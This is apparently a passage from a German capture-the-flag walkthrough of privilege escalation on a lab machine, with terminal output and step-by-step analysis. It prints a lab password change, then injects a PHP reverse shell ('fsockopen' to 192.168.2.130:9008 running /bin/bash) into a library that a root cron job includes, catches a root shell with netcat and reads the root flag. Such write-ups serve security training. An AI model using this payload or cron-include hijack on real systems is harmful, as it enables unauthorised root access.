Changing password for sysadmin. Current password: Cl0udP4ss40p4city#8700 New password: Benni1908 Retype new password: Benni1908 passwd: password updated successfully
Analyse: Das Passwort für den `sysadmin`-Benutzer wird geändert. Dies ist für die Privilegieneskalation selbst nicht direkt relevant, könnte aber Teil einer Strategie sein, den Account nach der Kompromittierung (theoretisch) zu sichern oder für spätere Zugriffe ein bekanntes Passwort zu setzen.
Bewertung: Keine direkte Relevanz für den Privesc-Vektor, aber eine durchgeführte Aktion.
lib script.php
//Backup of scripts sysadmin folder require_once('lib/backup.inc.php'); zipData('/home/sysadmin/scripts', '/var/backups/backup.zip'); echo 'Successful', PHP_EOL; //Files scheduled removal $dir = "/var/www/html/cloud/images"; if(file_exists($dir)){ $di = new RecursiveDirectoryIterator($dir, FilesystemIterator::SKIP_DOTS); $ri = new RecursiveIteratorIterator($di, RecursiveIteratorIterator::CHILD_FIRST); foreach ( $ri as $file ) { $file->isDir() ? rmdir($file) : unlink($file); } }
Analyse: Im Home-Verzeichnis von `sysadmin` befindet sich ein Verzeichnis `scripts`. Darin liegt die Datei `script.php`. Der Inhalt zeigt, dass dieses Skript eine Datei `lib/backup.inc.php` einbindet (`require_once`) und dann den Inhalt von `/home/sysadmin/scripts` in ein Zip-Archiv `/var/backups/backup.zip` packt. Anschließend löscht es Dateien im Web-Upload-Verzeichnis `/var/www/html/cloud/images`. Es ist sehr wahrscheinlich, dass dieses Skript regelmäßig durch einen Cronjob ausgeführt wird, und zwar als `root` (da es in `/var/backups` schreibt und Systembereinigung durchführt).
Bewertung: Dies ist ein vielversprechender Vektor! Wenn `script.php` als `root` läuft und `lib/backup.inc.php` einbindet, können wir versuchen, `lib/backup.inc.php` zu modifizieren, um eigenen Code als `root` auszuführen.
-rw-r----- 1 root sysadmin 519 Jul 8 2022 script.php
Analyse: Die Berechtigungen von `script.php` werden geprüft. Sie gehört `root`, Gruppe `sysadmin`, und hat `rw-r-----`-Rechte. Der Benutzer `sysadmin` ist in der Gruppe `sysadmin` und hat somit Leserechte, aber **keine Schreibrechte** auf `script.php` selbst.
Bewertung: Wir können `script.php` nicht direkt bearbeiten. Der Angriff muss über die eingebundene Datei `lib/backup.inc.php` erfolgen.
Archive: backup.zip replace /home/sysadmin/scripts/script.php? [y]es, [n]o, [A]ll, [N]one, [r]ename: A error: cannot delete old /home/sysadmin/scripts/script.php Permission denied inflating: /home/sysadmin/scripts/lib/backup.inc.php inflating: /home/sysadmin/scripts/lib/phplib.php inflating: /home/sysadmin/scripts/lib/owlapi.php [...] inflating: /home/sysadmin/scripts/lib/xmlapi.php
Analyse: Das Backup-Archiv `/var/backups/backup.zip` wird in das Verzeichnis `/home/sysadmin/scripts` entpackt. Der Versuch, `script.php` zu überschreiben, schlägt erwartungsgemäß wegen fehlender Rechte fehl. Wichtiger ist jedoch, dass die Dateien im Unterverzeichnis `lib/`, einschließlich `backup.inc.php`, erfolgreich entpackt und überschrieben werden, da `sysadmin` Schreibrechte im Verzeichnis `/home/sysadmin/scripts/lib/` hat.
Bewertung: Dies bestätigt, dass wir die Kontrolle über den Inhalt von `lib/backup.inc.php` erlangen können, indem wir das Backup entpacken.
ini_set('max_execution_time', 600);
ini_set('memory_limit', '1024M');
function zipData($source, $destination) {
[...] // Originaler Funktionscode
}
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Hinzugefügt
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
$sock=fsockopen("192.168.2.130",9008);exec("/bin/bash <&3 >&3 2>&3");
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Analyse: Die Datei `/home/sysadmin/scripts/lib/backup.inc.php` wird mit `nano` bearbeitet. Am Ende der Datei wird PHP-Code für eine Reverse Shell hinzugefügt: `$sock=fsockopen("192.168.2.130",9008);exec("/bin/bash <&3 >&3 2>&3");`. Dieser Code versucht, eine Verbindung zum Angreifer-System (`192.168.2.130`) auf Port `9008` herzustellen und dann eine Bash-Shell über diese Verbindung zu starten.
Bewertung: Der Payload für die Root-Reverse-Shell wurde erfolgreich in die Datei `backup.inc.php` injiziert. Wenn der Cronjob das Hauptskript `script.php` als `root` ausführt, wird dieser Code ebenfalls als `root` ausgeführt.
listening on [any] 9008 ...
Analyse: Auf dem Angreifer-System wird ein Netcat-Listener auf Port `9008` gestartet, um die erwartete Root-Shell zu empfangen.
Bewertung: Vorbereitung auf den Empfang der Root-Shell.
listening on [any] 9008 ... connect to [192.168.2.130] from (UNKNOWN) [192.168.2.138] 60124 id uid=0(root) gid=0(root) groups=0(root)
Analyse: Nach einer Wartezeit (ca. 1:30 Minuten, bis der Cronjob vermutlich lief) geht die Verbindung auf dem Listener ein. Der `id`-Befehl bestätigt, dass die erhaltene Shell als `root` (UID 0) läuft.
Bewertung: Fantastisch! Die Rechteausweitung auf `root` war erfolgreich durch die Modifikation der von einem Root-Cronjob eingebundenen PHP-Datei.
ls proof.txt snap cat proof.txt ac0d56f93202dd57dcb2498c739fd20e
Analyse: In der Root-Shell wird das aktuelle Verzeichnis (vermutlich `/root`) aufgelistet. Die Datei `proof.txt` (Root-Flag) wird gefunden und mit `cat` ausgelesen.
Bewertung: Das Root-Flag wurde erfolgreich erfasst.